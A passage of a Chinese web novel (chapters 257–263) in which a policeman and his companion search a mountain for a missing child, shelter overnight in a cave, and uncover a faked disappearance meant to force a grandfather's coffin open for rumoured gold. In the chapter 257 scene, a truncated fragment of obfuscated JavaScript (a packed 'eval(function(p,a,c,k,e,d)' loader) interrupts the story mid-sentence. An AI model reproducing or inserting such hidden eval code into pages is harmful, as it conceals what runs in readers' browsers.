两人一前一后上了山。 很快就到了匡老爷子下葬的地方。 一眼便能看出来是新坟。 坟边,跪着个人。 楚隽仔细一看,是匡老爷子的孙子,匡家的老二。 这会儿不赶紧找人,跪在这儿做什么? 楚隽和安暖走了过去。 刚才匡老二一直在外面找小宝,也没能回去,没有聊上,临上山前才见了一面。 听见脚步声,匡老二回了一下头。 他看见来人是安暖和楚隽的时候,表情有些奇怪。 这是一个,欲言又止的表情。 两人立刻觉得不对劲。 他们对匡老二来说,是个陌生人,为什么会露出这样的表情?有什么话要对他们说? 楚隽立刻道:“是不是出什么事了?” 匡老二皱眉犹豫了一下:“同志,你是大城市来的警察吧?” “是,我是。”楚隽道:“你有什么事情,尽管可以跟我说。” 第257章 半截寿衣 匡老二的脸都要皱成一团了,也不知道在犹豫什么。 好在他犹豫的时间也不长,不过是一两分钟的事情,就站了起来。 匡老二朝两人走来,一边走,一边四下看。 在荒山新坟这种地方,气氛营造得特别好,搞得跟拍鬼片一样。 幸亏楚隽是警察,自然有一身浩然正气,不怕妖魔鬼怪。 楚隽说:“你有什么事情都可以直接说,放心,如果是不方便的事情,我会帮你保密的。 “好。匡老二仿佛下定了某种决心:“楚同志,我怀疑小宝……会不会在这个棺材里。 安暖虽然是个很冷静的人,但这一刻差一点没绷住。 万万没想到,匡家竟然也有人这么想。 安暖立刻道:“你为什么这么说?是不是在下葬的时候发现了什么? 匡老二眼前一亮。 显然,他和安暖的想法是一样的。 怎么也没想到这话说出来,安暖和楚隽竟然没有训斥他胡言乱语,而是这么镇定的就接受了。 果然是大城市来的人,就是不一样,见多识广。 “也没有具体发现什么。匡老二说:“但是我想来想去,越想越觉得不对劲。别人家都是入殓就封棺,可我们家呢,在坟前还开了一回棺,开棺前我好像还看见小宝来,可之后就没见了……这事情我也不敢说,我怕说了也没人信。 这下的问题就更棘手了。 匡老二要是有个证据,或者明确地看见了什么,现在没什么顾虑的就应该开棺。 但什么都没有,就凭自己的直觉。 他们三个人想开棺,这做不到。 在其他人不同意的情况下,就算是楚隽支持也没有用。这还不是在京市,他没有那么大的权利。强行开棺,说不过去的。 楚隽想了想:“你再仔细想一下,如果有几分把握,还得回去和你家里人商量才行。 匡老二愁苦道:“这事情家里怎么可能答应,要是这么容易,我早就说了。警察同志,你们有什么办法没有? 一时间,三个人在匡老爷子坟头,你看看我,我看看你。 如果挖坟开棺是一件简单的事情,说不定三个人直接就干了,挖开以后再给填回去,神不知鬼不觉。但显然不行,没有工具,没有足够的人手,挖不开。 终究还是楚隽是个拿主意的人,他做主道:“我们现在就回去,把你家里的人,老太太和几房能说话的人都找来。开棺的事情,必须 得到大家的认可。” 匡老二愁容满面地点了点头。 安暖倒是松了一口气。 她开始是有点担心的。 楚隽这个人是正义感很强的,如果他也觉得孩子在坟中,万一孤注一掷地要救人,强硬要开棺,到最后却没有发现,这事情就很难收场。 即便他有京市的身份和家世,可能也会受到处分。 而且还很有可能成为别人拿楚家的把柄,往小里说,影响楚隽的前途,往大里说,影响整个楚家都是有可能的。 还好,楚隽虽然正义,但没有那么冲动。 楚隽说:“那就下山,我们赶回去说。” 山上多一个人少一个人寻找,区别不大。 他们开车回去也就是二十分钟,只要匡家同意,再有半个小时就能开棺。 匡老二和安暖都同意,三人便打算下山。 正往外走,突然听着有人喊:“快来,这里有发现……” 三人精神一震,转身跑了过去。 小宝在棺材里,这只是他们的猜测。若是真的在山里走失了,找到了,那自然是最好的。 就这么几步路的时间,雨点落了下来。 乌云遍野,转瞬之间大雨倾盆。 山里的雨,似乎比外面要大一些。 众人循着声音一直往前走,很快到了刚才有人喊话的地方。 这个地方,比匡老爷子下葬的地方还要高一些。 “看这里。”一个小伙指着挂在树棍上的一截白布:“这是寿衣上的布啊,匡老爷子的坟在下面,送葬的人根本走不到这个地方。有没有可能,是小宝自己跑上了山,不小心挂到了树枝上,留下了这一块布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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或者说,把握很小。 雨越下越大,两人走了半个小时,但是根据他们现在行进的速度来看,并没有走出多远。 路难走,大雨遮挡了视线,而且不是单纯地往前走,一边走,一边要观察周围的情况,免得有什么遗漏。 终于,天彻底地黑了。 第258章 湿衣服和不穿 转过一处乱石,楚隽抬手看了看表。 “听着声音,前面不远就是山崖了。一路都没有留下什么线索,小宝应该不在这条路上。”楚隽说:“也不知道其他地方找到没有。” 他抬手看了看表。 表面全是雨水,根本看不清。 安暖替他用手挡着雨水,还用袖子擦了擦。 “已经八点了。”楚隽道:“我们走快一点,到悬崖边看一看,要是没有小宝的踪迹,就尽快回头。这雨越来越大了,我们对这地方也不熟悉,安全要紧。” “好。” 果然,再没走出十分钟,就到了山崖边。 这山崖其实不高,都是些乱石嶙峋,杂草丛生。 两人举着手电走到了山崖边,看了看,松了一口气。 小宝只有三岁半。 这个年纪的孩子虽然喜欢到处乱跑,但身高力气都有限。 楚隽试了一下。 “三岁半的孩子,应该是爬不上去的。”楚隽说:“我估计你上去都要有人拽一把。” 这对比的可真好,安暖十分无语,难道自己在楚隽眼里,也就比三岁半要高一档吗? “这里是没有人来过,如果小宝要往上走,一定要拽着石头边的草或者树枝,但这些都是完好的,没有近期被这段的样子。” 安暖用手挡在额头。 真是要命,这雨是不是更大了?下的可真不是时候。 楚隽从悬崖边下来,两人立刻往回走。 可这回,还没走多远,便听见轰隆声音。 不是打雷,他们上山的时候就注意了,这场雨除了没下的时候远远的有雷声之外,便再没有雷声。 山上都是高树,下雨尚可,小心一些就行。要是电闪雷鸣,那就太危险了,楚隽是一定会阻止大家上山的。 救人重要,但安全也很重要。 “这声音是怎么了?”安暖侧耳一听:“你听见了吗,好像有什么东西倒了。” 楚隽也听见了,而且不用听见,没走几步,转过一个弯,便看见了。 一棵苍天大树新鲜倒下,就横在路上。 在下雨刮风的日子里,这是一件很正常的事情。 有些植物看起来郁郁葱葱,但时日久远,很可能地下的树干已经蛀空,就等待着一次契机。 安暖看着只觉得后怕。 如果当时他们俩刚好路过,这样一棵树倒下来,非常容易被砸着。 别看树干不粗,但是枝叶繁茂的一棵树体积是很大的,哪怕只是几根树枝刮着,也要受不轻的伤,稍不留神就会出人命。 上辈子,她曾经上学的城市就有一条街,那条街的两旁都是百年老树,城市象征。 夏天遮天蔽日非常舒服,可即使年年检查,起台风的日子,都会出事。 要么车被砸,要么人被砸,年年如此,永不落空。 “好险……”安暖感慨说:“咱们俩……命真大。” 一边说,一边抹脸。要不然的话,就是咕噜咕噜地喝水。 楚隽让安暖原地站着,用手电照着上前看了看情况。 没一会儿,他回来了。 “看不清,不好过。”楚隽说“而且树倒下的时候,也将路毁坏了一部分,我们可能要在山里找个地方过夜,等明天天亮了。” 要是夏天,不下雨,在山里过一夜没什么大不了的。 楚隽有枪,又是警察,他们既不害怕坏人,也不害怕野兽。 不但不怕,还能看星星看月亮,说不定还能培养培养感情,浪漫一下。 可现在这种环境,除了凄凉,就是凄凉。 安暖叹了口气。 饥寒交迫。 这一夜可不好过了。 楚隽握了握安暖的手:“别怕,我在呢。” “嗯,我不怕。” 楚隽说:“那……咱们往回走,我记得路上有个山洞,虽然不深,但勉强能遮雨。而且山坡避风,也不会有泥石流的危险,我们在那里凑合一夜。” 幸亏他们一路过去找得仔细,这条路上有什么都已经了然于心。 只能这样了。 两人只好回头。 说是山洞,但这山洞很浅。虽然里面没有直接淋雨,但也没有太多干燥的地方。 两人猫着要进去。 楚隽用手电照了一下,免得有什么蛇虫鼠蚁。 现在要是再被什么东西咬了,那就更麻烦了。 看了一圈之后,楚隽放松下来。 “生火是没有办法了。”楚隽说:“只能把衣服上的水拧一拧,然后凑合熬一夜了。” 十月的山里,又是全身都淋湿的情况下,过夜的最大问题,是冷。 他们俩都穿了外套,但依然冷。 刚才在雨里,楚隽已经感觉到了安暖有些颤抖。 手电筒的余光照耀中,能看见她脸色傻白,嘴唇手指都没有了血色。 这也是他觉得不能再赶路的原因之一。 回头至少还要走一个小时,安暖再雨里再淋一个小时,怕是受不了。 “行,没问题。” 安暖有些哆嗦的牙齿打颤,但一点儿没有抱怨,很爽快地应着。 在做正经事情的时候,她一贯的能扛。 楚隽背过身去,将手电筒关了。 山洞里顿时一片漆黑,伸手不见五指。 安暖说:“你也处理一下衣服吧。” “……行。” 然后两个人都没有说话,山洞里,响起了悉悉索索脱衣服的声音。 衣服都滴着水,虽然拧是拧不干的,但是总比泡在水里的感觉好。 只是有点淡淡尴尬弥漫开,好在黑乎乎,看不见就可以当做不存在。 安暖哆嗦着将衣服上的水拧得半干,然后又咬牙穿上。 要命了不是。 穿上一件湿的衣服,这和洗冷水澡有什么区别。 一时脑抽,安暖说:“楚隽,你说是不穿暖和,还是穿湿衣服暖和?” 楚隽的动作顿了一下。 也不知道他是被安暖这个问题吓傻了,还是在认真的思考。 安暖问完简直想抽自己一下,这是什么破问题。 这需要问吗,当然是不穿暖和。 衣服是湿的,水分要蒸发。水分从液态转变为气态,需要吸收周围的热量。由于人体是热量的来源,因此身体会向湿衣服提供能量。 当外界环境温度较低时,这种热量流失会导致身体迅速降温,让身体更冷。 但是,就算是不穿暖和,难道她和楚隽能不穿吗? 当然,生命最可贵,要是生死关头,也不是不行。但现在好像还没到这一步。 楚隽沉默半天,说:“可能……是不穿好一点。但不太好……要不咱们少穿一件,你过来,我抱着你。” 第259章 下山 楚隽索性就不打手电了,看不见的话,尴尬少一点。 外套就不要穿了,淋湿的外套拧也拧不干,风一吹像是结了冰。 他低头想了一下,说:“你过来,这边没有风。” “……” 安暖慢慢走了过去,遮风挡雨,就是个好地方。 楚隽找了个干燥的地方坐下。 “这里。”他摸索着安暖的手,轻轻扯了扯。 安暖也坐下了。 就坐在楚隽怀里。 听起来好像挺浪漫的,其实不是那么回事。 当身体和衣服都是湿漉漉的时候,一个人有一个人的冷,两个人有两个人的冷。 两个人的身体都是冰冷的,一个抱着一个,和抱着冰块没有什么区别。别说什么情不情的,这时候只有生存。 取暖,也需要一些时间。 “今天是我大意了。”楚隽说:“没想到雨会这么大,对地方也不熟悉,没有带雨衣,也没有带干燥的衣服。” “跟你没关系,当时也是着急。”安暖缩在楚隽怀里发抖:“本来都准备下山了,突然出了这么个事情……对了,包里有吃的。吃点东西会暖和点。” 补充一下热量和能量。 安暖有出门在外随身带个包的习惯,要是在外面,会带个手拎的包,里面放点零食,纸巾,钥匙什么。 出门为了方便,改成了双肩背包,在山上的时候,一直是楚隽背着。 里面有一些常用的物品,可惜这个现代没有一次性雨衣,因此没有雨具。也没有 “好。”楚隽想了一下,朝某个地方摸了摸,又摸了摸,摸到了放在地上的包。 将包打开,里面还真有不少吃的。 “有糖,还有牛肉干……嗯,还有饼干。”楚隽先摸出一颗糖,剥开塞进安暖嘴里:“来,先吃颗糖。” “嗯。”安暖也不闲着:“你也吃,虽然没有正经吃食,但这些七零八散的也不少,都吃了一个都别留。” 安暖心里盘算着。 以后出门,包里得装点高热量的食物才行,比如压缩饼干什么的。虽然这种被困的事情是个意外,但他们总在外面,难免会有意外。有备无患不是坏事。 两人将背包里的东西分吃了,都觉得好多了。 衣服虽然不可能干,但是两人紧贴着,又没有再淋雨,也就没有那么冷了。 楚隽的身体好,日日不落下地训练,又正是热血年纪,怀里搂着心爱的人,开始因为冷,也没有多想,但没那么冷之后,就难免有些心猿意马。 “暖暖。”楚隽下巴搭在安暖肩上。 “嗯。” “还冷吗?” “好多了。”安暖闭着眼睛:“我有点困,我睡一会儿。” “好。你睡,我搂着你。” “嗯……”安暖是真累了,疲惫地挪动了一下位置,让自己靠得更舒服一些。 楚隽也闭上了眼睛,不过他没有睡。 看不见之后,听觉会更为敏锐。他听着外面的雨声,听着山洞里的声音,身前,放着手电筒和匕首,时刻注意着。 安暖睡得也不踏实,只是迷迷糊糊的,睡到半夜,听见外面有声音。 雨已经停了,外面有人在喊。 仔细听,好像似乎在喊楚隽和她。 安暖一动,楚隽就在耳边说话。 “醒了?” “嗯?”安暖发现自己还窝在楚隽怀里,连忙坐直了:“我好像听见有人在喊我们?” “是,我也听见了。” 楚隽扶着安暖一起起了身:“我估计是村民陆续下山后,没看见我们,所以找了过来。” 上山找人的,除了他们两个,其他都是对这地方熟悉的。下了大雨,找不到线索,也会回头,山下集合。 集合之后一点人数,少了两个。 少的还是不认识路的。 村长不可能放任不管,一定会组织人来找。 找他们是比较容易的,他们走的这条路,是当时村长安排的,有一个准确方向和目标。 顺着路过来,就能看见挡在路上的大树。 村长立刻就能明白,他们之所以没回,是被树拦住了。而这么大的雨,只要在能躲雨的地方喊就行了。 两人走出了山洞。 雨停了,不会被雨声干扰,山里的声音传得格外的远。 楚隽刚回应了一声,就被听见了。 立刻有人喊:“找到了,找到了!” 楚隽和安暖当然很高兴,村民也很高兴,谁出了事情都不好啊。 楚隽转头看了安暖一眼,转身蹲下。 安暖一时没反应过来。 “怎么了?” “我背你。”楚隽道:“来,上来。” 山路不好走,安暖现在的状态确实不太好。 跟别人还要客气一下,跟楚隽,是没什么好客气的。 安暖不客气地趴了上去。 很快就和村长见面了。 看见楚隽背着安暖,村长吓了一跳:“小安这是怎么了?受伤了吗?” “没有,只是累着了。”楚隽将人慢慢放下来。 安暖现在的样子十分不好。 淋了几个小时的雨,手上脸上一点血色都无。衣服裤子到现在都还是湿漉漉的,头发乱七八糟贴在脸上,一副风一吹就要倒下的样子。 确实是要背着,是应该背着。 安家这外甥女可不是个五大三粗的,看起来有点柔弱呢。 村长有点担心,赶紧让大家先下山再说。 安暖还不忘问一句:“村长,小宝找到了吗?” 村长叹了口气。 这是没找到的意思。 安暖也叹了口气。 既然是没找到,也就是说,很大的可能还是要开棺。 而且,如果小宝真的在棺材里的话,不管是昨天开棺,还是今天开棺,他都已经没命了。 沉默中,一行人下了山。 拦在路上的树虽然还在原处,但是简单做了处理,可以过人就行。 下了山,楚隽连忙将安暖塞进车里。 车上有干净的衣服。 “赶紧把身体擦干,换上干衣服,再吃点东西。”楚隽拉下窗帘,下了车,关好车门。 楚隽和安暖找到了,小宝虽然没找到,但是再找意义也不大了。 队长开始安排人撤离回村。 楚隽从车上拿了条大毛巾,一边擦着头发,一边走了过去。 匡家是否要开棺这件事情,是绕不过村长的。 第260章 有宝贝的地 这想法太石破天惊,暂时不好让其他人知道,楚隽将村长叫到了一边,见旁人听不见,这才说了自己的想法。 村长张大了嘴。 “啊?这,这不可能吧?” “我也不确定,只是有这个猜测。”楚隽说:“还有匡家老二,他也有这方面的怀疑……但匡老爷子已经入土为安,开棺非同小可,所以这事情,我想和村长商议商议。” 村长只想捂住自己的耳朵。 我听不见听不见听不见。 这事情楚隽为难,村长也为难啊,他也不知道该怎么办。 但楚隽用一种坦然的眼神看着村长,谁叫你是村长呢?这事情要是在京市,那二话不说,我做主。可在这里,总不能越过村长去。 村长万种纠结下,说:“这事情,我也做不了主。就直接和匡家的人说吧,开还是不开,让他们自己决定。” “好。”楚隽道:“那村长你稍等,我去换身衣服。” 安暖很快换完了衣服。 虽然这里没有热水和吃的东西,但只要换上干燥的衣服,顿时就感觉温暖了很多。 楚隽敲了敲车窗:“暖暖,你换好了吗?” “好了,你进来吧。” 楚隽进了车后座,看了看安暖,将一旁的小被子拽过来,给她裹上。 “裹好了。”楚隽说:“我们赶紧回去,叫人给你煮碗姜汤。” “没事儿。”安暖便打算下车:“你赶紧换吧,身体好也要注意。” 但楚隽按住了她。 然后一抬手,将被子往上拽了拽,盖住了她的脸。 “你别下车,外面冷,地下全是泥。”楚隽说:“我相信你的人品,应该不会偷看我换衣服吧。” 这话说的。 安暖都不相信自己的人品,楚隽竟然相信。 但楚隽真的很坦荡,就在另一边的座位上开始脱衣服。 安暖纠结了一下,还是保持了正直的人设。 偷看什么的,不屑为之。 早晚有楚隽求着她看的一天。 楚隽很快换好了衣服,村长进了副驾驶,开车赶回村子里去。 折腾了一下午加大半个晚上,大家都累了。村长一把年纪也疲惫的很,靠在座位上,一晃一晃地差一点睡着。 安暖虽然晚上睡了几个小时,也没缓过来,晃着晃着,也迷迷糊糊的。 楚隽还是有点担心,不时地回头看一眼。 淋了那么长时间的雨,别感冒了。 楚隽开得很快,进了村子,直接就去了匡家。 小宝没找到,匡家半夜依然亮着灯,根本就睡不着。 车在门口停下,楚隽轻轻拍了拍村长:“村长。” 村长猛地醒过来:“到了,到了啊?” “到了。”楚隽看见村长一下子变色的脸,心里明白他的苦。 有些事情,谁也不想面对,但是不得不面对。 有些话,谁都不好说出口,但不说不行啊。 楚隽道:“暖暖,我和村长去匡家,要不你先去舅舅家?让舅舅给你煮点姜汤,再弄点吃的,睡一会儿。” 匡家这事情,不管他们同意不同意,一时半会儿都不好解决。 安暖想了想。 “行。”安暖说:“那你们进去,我去舅舅家。” 当下楚隽和村长去了匡家,安暖开车去舅舅家。 小宝丢了,村里有时间的男丁都去帮忙了,安舅舅家也出了人手,只比他们先到家没多久。 看见车回来了,赶紧拿着伞出来了。 “暖暖回来了。”安舅舅说:“赶紧进来,快过来我看看,没有受伤吧?” “舅舅,我没事儿。”安暖走进房间,刚坐下,手上就被塞进一碗姜汤:“今天大家都着凉了,煮了一大锅姜汤呢,快喝点。要是你没回来,我都打算叫他们送去匡家了……小楚是不是在匡家呢?” 果然舅舅的眼睛是雪亮的。 “是,匡家的事情还没弄清楚。”安暖说:“楚隽和村长一起过去了。” “那我让你表哥送点姜汤和吃的过去,小楚今天也淋了不少雨吧,匡家的人今天可能没心思做饭。”安舅舅说:“你快喝,喝了好好休息。” 安舅舅竟然没问匡家的事情。 安暖喝了半碗姜汤,从身到心都暖和起来。 表嫂也披着衣服起来了,去厨房里一阵倒腾,煮了碗面条拿出来。 “暖暖,吃一碗面条。”表嫂也很客气:“昨晚上都没吃饭吧。” “谢谢表嫂。”安暖捧着面条,心里也暖暖的。 在她的记忆里,原主和村里的亲戚来往不多,原以为这次见面,他们会比较冷淡。没想到还挺客气。 不管人家是为什么客气,都叫人舒服。 吃了几口面条,安暖舒服多了。 这身体一舒服,就开始动脑子。 “舅舅。”安暖说:“你知道匡家的事情吗?” 再不用多久天就要亮了,安舅舅也不睡了,捧着一杯茶。 “你说的,是什么事情?” “具体也不好说是什么事情,就是你们都在一个村子里住,知道不知道,匡家有什么奇怪的事情?” 走访群众就是这么问话的。 案情是不能随便泄露的,问话的时候,有时候不能问得太仔细,反而会影响对方的发挥。 安舅舅想了想,说:“你说奇怪的事情吧,我还真知道一件。但是不知道跟你想知道的,有没有关系。” 安暖立刻来了兴趣:“舅舅你说说看。” 安舅舅说:“匡家后面的房子,有一块地。那地吧……也谈不上多好,就是块普通的地。但是他们家的老大老二老三,都喜欢那块地,前一阵子说要分家,为了那块地,吵得不可开交。” 安暖听得都忘了吃。 “还有这么回事?那后来呢?” “后来,就没分啊。”安舅舅说:“分家本就是件麻烦事情,喊着要分家,分几年都分不了的大有人在。” 安暖咬着一个鸡蛋,沉思着。 “那地,一直就是匡家的地吗?” “对,一直是。他们家也一直在种,我经常路过,没觉得有什么特别。” 一块叫人舍不下的地,给人的第一个念头就是,藏着东西了。 藏着宝贝了。 第261章 我看见他了 安舅舅说的这个,倒是挺有意思,不过暂时跟匡家小宝失踪的事情,好像也没有什么联系。 安暖权当个新鲜故事听着。 喝了姜汤,吃了热汤面,她整个人都算是暖和起来了,舒服了许多。 天也亮了。 安舅舅让她去睡会儿,但安暖拒绝了。 “我去匡家看看。”安暖说:“也不知道那边的情况怎么样了。” “行。”安舅舅说:“那让你哥陪你去。” 安暖的堂哥叫安阳,在家务农,小时候和安暖见过几次,因为两家长辈来往不多,他们来往的自然也不多。 这一次安暖回来探亲,他也挺热情,许久不见的堂哥堂妹,坐下也能嗑嗑瓜子,聊聊天。 只是他心里难免觉得,安暖多少有点装模作样。 明明也只是住在离他们不远的县城里,上一辈也是从村里出去的,但总是有一种大小姐下乡的感觉。倒是表现得什么都不嫌弃,但那种感觉还是有一些。 安暖让堂哥上了车,一脚油门开去匡家。 安阳还是第一次坐汽车,难免好奇,这里看看,那里看看,然后忍不住问:“你是在县城学的开车么?” “哦,不是,是去京市以后学的。” 安暖换挡转方向,一系列动作流利无比。 “我听爸说,你去京市,也就是不到一个月。” “嗯。” “这就学会了……开车是不是很好学?” “额……还可以。”安暖说:“不是很难,你看,这是油门,这是刹车……方向就是转,你往哪儿走,就往哪儿转……” 开了一路,安暖教了一路。 但她可不敢说下来让安阳试试,她在京市第一次开车,那也是因为当时情况紧急,楚隽没有能力阻止,要不然的话,也不会同意的那么爽快的。 很快到了匡家。 还没有停车,就听见里面有人在吵架。 声音挺大的,男女都有。 看样子是为了是否开棺的事情吵起来了。 安暖连忙停车,跑进了院子。 堂屋里,果然吵得厉害,村长和楚隽,还有参与了救援没有离开的两位民警都在拉架。 看见安暖过去,楚隽走了过来。 “怎么样了?”安暖说:“有人同意,有人不同意?” “对。”楚隽低声道:“匡家老太太和儿子,还有匡老大都不同意开棺,老二和老三,坚决要开棺。” 安暖理了一下,好像也没毛病。 老太太和儿子,还有大孙子,都是正常思维,认为孩子不可能在棺材里。死者为大,老爷子已经下葬,挖坟,那是大不敬的事情。 孩子是老三家的,他只要有一点希望,当然要挖。 匡老二呢,他和老三的关系虽然一般,但是他对小宝是否在棺材里这件事情是有怀疑的。有怀疑,只要有点良心,就会同意开棺。 “那这棺开不了了吧,老二和老三,应该说不服不了其他人。” 上面的两辈人和孙子辈的老大,这算是家里三代的当家人了,都不同意,谁也开不了这个棺。 “棺是开不了了,但是,我感觉老三家的情绪不对。” “怎么了?” “之前她在院子里哭,你看见没有。” 安暖点头:“看见了呀,大家不是都看见了吗?” “对,当时感觉她很难过,哭得情真意切的。但是刚才……我看见她伤心地进了房间,然后,闭上眼睛叹了口气。” 男女授受不亲,楚隽在这一点是非常注意的。 尤其在村子里,更要特别注意。城里的思想风气还要稍微开明些,村子里相对来说,要保守许多,男女大防,时刻都要留神。 “我当时没好细看,但是总觉得她有种,演累了歇一歇的感觉。” “我去看看。”安暖明白楚隽的意思:“我去安慰安慰她。” “好。” 安暖去安慰款小宝妈,这就天经地义的了。 楚隽指了一下房间,安暖就直接进去了。 都是女子,这就没什么可担心了。 门推开的一瞬间,屋子里的人吓了一跳。 小宝妈似乎坐在床上发呆,听着动静立刻往门口看,一见是安暖,松了一口气。 她现在也已经认识安暖了,知道她是安家的外甥女,京市回来探亲的。 “小安。”小宝妈下了床:“你怎么来了?” “我来看看你。” 小宝妈迎了过去:“小安你快坐,听说昨天晚上你们被困在山里了,怎么样,人没事儿吧?” “我没事儿。”安暖说:“对了,小宝的事情,有什么消息了没有?” “还没有。”小宝妈说着,又低下头要抹眼泪:“小宝,我可怜的小宝……” “别哭了别哭了。”安暖拍了拍小宝妈的肩膀:“对了,我听外面在说,这棺,怕是不好开。” “谁说不是呢,开棺确实是难办,可是孩子重要啊……老爷子在世的时候,最喜欢小宝了,若是他老人家泉下有知,也一定会同意的。” 安暖点了点头。 “我也觉得孩子重要……”安暖顿了顿,突然道:“婶子,我觉得你太好说话了。” 小宝妈愣了一下:“你什么意思?” 安暖冷静说:“对做爹妈的人来说,孩子是最重要的吧。要是我,早就直接冲过去挖坟了,哪里还轮的到别人说同意不同意?” 安暖在怂恿自己挖坟? 小宝妈脸上的表情一时有些没收住。 “可是……” “这有什么可是的,无论有什么后果,难道还能比孩子重要?” 这也是安暖怀疑的一个原因。 正常情况下,当匡老三夫妻俩,在知道小宝有可能在棺材里的那一瞬间,就应该冲出去了。 而不是一大家子在这里吵架。 好像吵得很激烈,但是只要能吵起来的,都不算激烈。 真正的激烈,根本就不是吵,是打砸,见血,要命。 匡家老三并没有抄家伙,妻子也并没有发疯,所以这算什么,冷静的放弃吗? 小宝妈这一天一夜也哭累了,脑子里有点懵,一时反应不过来。 安暖突然压低了声音,凑到她耳边:“我看见小宝了……” 小宝妈脸色骤变,脱口而出。 “怎么可能,我明明把他……” 第262章 把我带走 话没说完,戛然而止。 小宝妈妈自知自己说错了话,一脸惊恐的看着安暖。 安暖挑眉看她。 “你明明把小宝,送去哪儿了?” “你胡说什么?”小宝妈慌忙否认:“我听不懂你在说什么!” “别装了。”安暖说:“小宝根本就没丢,是你,你和你丈夫,把他藏起来了,对吧?” 小宝妈瞪大眼睛看着安暖。 安暖只觉得好笑。 之前他们也是被孩子丢了这事情给急着了,没想太多。要不然的话,这事情根本瞒不住。这点小伎俩,和那些大案里老奸巨猾的凶徒比,根本不算什么。 安暖道:“婶子,你可以糊弄家里人,但是糊弄不了专业的人。你知道昨天一天一夜,村里为了找小宝,出了多少力气吗?除非你能一辈子不让小宝回来,不然的话,等他回来,这谎话就维持不下去了。” 可别小看三岁半这个年纪。 这个年纪的孩子,是懂事的。 是不小心走失的,还是有人带走的,那可不好糊弄。 而且这个年纪的孩子,偏偏又不懂太多,就算你再三叮嘱要保密,他也保不了秘密。稍微哄一哄,就能把事情抖出来。 安暖说:“要是大家知道费了那么大力气,是你们家自导自演的一出戏,那……你收得了场吗?” 小宝妈毕竟只是一个没出过远门,没经过大事的村妇。哪里能和安暖对抗。本来她就心慌,被安暖这么一逼问,更是完全慌了。 看她的表情,安暖就知道,她没说错。 小宝根本就没丢。 这就是一场自导自演的戏。 “为什么?”安暖追问道:“你们为什么要演这一出戏……不对,你们为什么要开棺?” 从昨天演到今天,他们的目的应该就是开棺。 这是匡家老二和老三联手演的一场戏,昨天匡家老二出现在坟前,就是开始准备引导开棺。 不一定想到撞上去的人是她和楚隽,但应该是谁都行,只要有人路过,就会被老二带着往棺材里有人这方面想。 只是没想到山上看见了疑似的孝服布碎片,活生生的将事情往后拖了一个晚上,要不然的话,昨天晚上应该就已经在挖坟了。 外面还闹着呢,楚隽不时的看一眼房间。 就在这时候,门突然开了。 小宝妈先走了出来,面如死灰。 安暖也走了出来,给了他一个眼神。 这一个眼神,楚隽顿时懂了。 他们现在可真是有默契啊。 小宝妈晃晃悠悠的走到人堆中,抓住了正在挣扎的匡家老三的手,有气无力的说:“续文,别吵了,他们……知道了。” 匡家老三匡续文,先是条件反射的想要甩开妻子的手。一下没甩开,这才反应过来,愕然看她。 小宝妈有些不敢看大家的眼神,只是指了指安暖。 “对,我知道了。”安暖说:“小宝不是走丢的,是被送走的。” 这话石破天惊,院子里那么多人同时安静了下来,一瞬间,鸦雀无声。 然后又都找回了自己的声音。 “你胡说什么?”没想到是匡家老二先出了声:“续文和弟妹不会做这种事情。” 老二和老三,果然是串通好的。 但现在说什么都晚了。 匡家老太太一听,顿时就反应了过来。 “小宝没丢……那你们,你们就是要开棺?你们这些不孝子孙啊,为什么让老头子死了还不得安宁,你们到底想做什么?” 第二轮的鸡飞狗跳开始了。 村长和众人继续拉架的拉架,劝着的劝着。 不过这一次,楚隽拽着安暖退了出来。 现在不是案子了,是真正的家务事,他们连村子里的人都不是,就不参与了。 两人站在门口,晒太阳。 里面闹了一阵子,两位民警也出来了。 他们昨晚也一夜没睡,都是一脸郁闷又疲惫的表情。 人民警察要注意形象,要不然的话,这会儿可能已经在骂人了。 楚隽迎了过去,给两人递了根烟。 “里面……没事儿吧?” “孩子没事儿,在他舅舅家里,昨天从山上接走的。”一位民警说:“不过匡续文兄弟两人,和他妻子,他们三个人报假警,性质非常恶劣,一定要处罚。” 楚隽点头表示认可。 他也是警察,对这事情深恶痛绝。 匡续文夫妻这事情做的,简直是拿全村人开开涮。 而且万幸,昨晚上没出什么事儿。那么大的雨,那么多人在山上,要是出了什么事儿,他们要判刑吃枪子儿。 安暖忍不住道:“他们为什么要闹这么一出?匡家老爷子的坟里,究竟有什么?” 那可是亲爷爷的坟啊,刚下葬几要挖?为什么? 民警给解释了一下,两人这才搞明白。 匡家,早些年是个小地主,有些钱财。后来家里的钱都被没收了,和普通村民一样,过起了日子。 但是曾经富过,在匡家就有这么个说法,说是祖上有一串金戒指,藏了起来。 这种情况很多富户都有,为了不被没收,就将家里值钱的东西,这里藏一点那里藏一点,什么茅房里,屋顶上,大树底下。 不好藏,但也确实有藏住的。等那一场风波过去,偷偷摸摸的找回来,藏住了,就是你的。 特别是黄金这种东西,可以融成小块,直接就是钱。 匡家,就有这么传说中的,用绳子串起来的几十个金戒指。说是爷爷的爷爷的爷爷,特意换了放在家里。想着万一落败了,没钱就去当一个,没钱再去当一个。 可是,没有人承认。 因为一直以来,家里对老大的偏爱最明显,觉得长子是继承家业的,于是老二和老三私下里认为,这一串金戒指,一定留给了匡老大。 而在下葬之前,老太太和匡老大,发生了激烈的争吵。可是争吵的时候,只有他们两个在,没有别人听见。 而匡老三,正好外出回家,躲在窗子下面,听了个迷迷糊糊。他听见老太太说,你们既然不孝顺,倒不如让你爷爷带走。 安暖犹豫道:“那……匡老太太怎么说?” 真的,带走了? 民警说:“老太太说,胡说八道,根本就没有这东西。她当时说的带走,是说自己要跟着老爷子走,根本就不是什么宝贝。” 第263章 不能慷他人之慨 现在公说公有理,婆说婆有理。 听来听去,安暖听明白了。 “原来是这样,所以老二和老三觉得,老太太因为和老大吵翻了,宁可把钱塞进老爷子的棺材里,也不愿意给他们?” “是,就是这么个情况。但是开棺这种事情,他们也不敢偷偷摸摸地做。于是就想了这么一出。想借着找孩子的由头,开棺。” 院子里面,依然闹哄哄的。 孩子虽然没丢,但最大的矛盾已经出来了。 在钱面前,这个矛盾是没有办法谈和的。 “孩子没丢就好。”楚隽说:“同志,既然孩子没丢,那我们就先走了。” “哦,好好,那你们慢走。” 匡家是否真的有金子,是否真的埋在棺材里,谎报孩子丢失的事情要付出什么代价,这棺材,最终开还是不开,都不用他们操心了。 两人离开了匡家,安暖频频回头。 楚隽道:“还好奇呢?” 能不好奇吗? “有一点。” 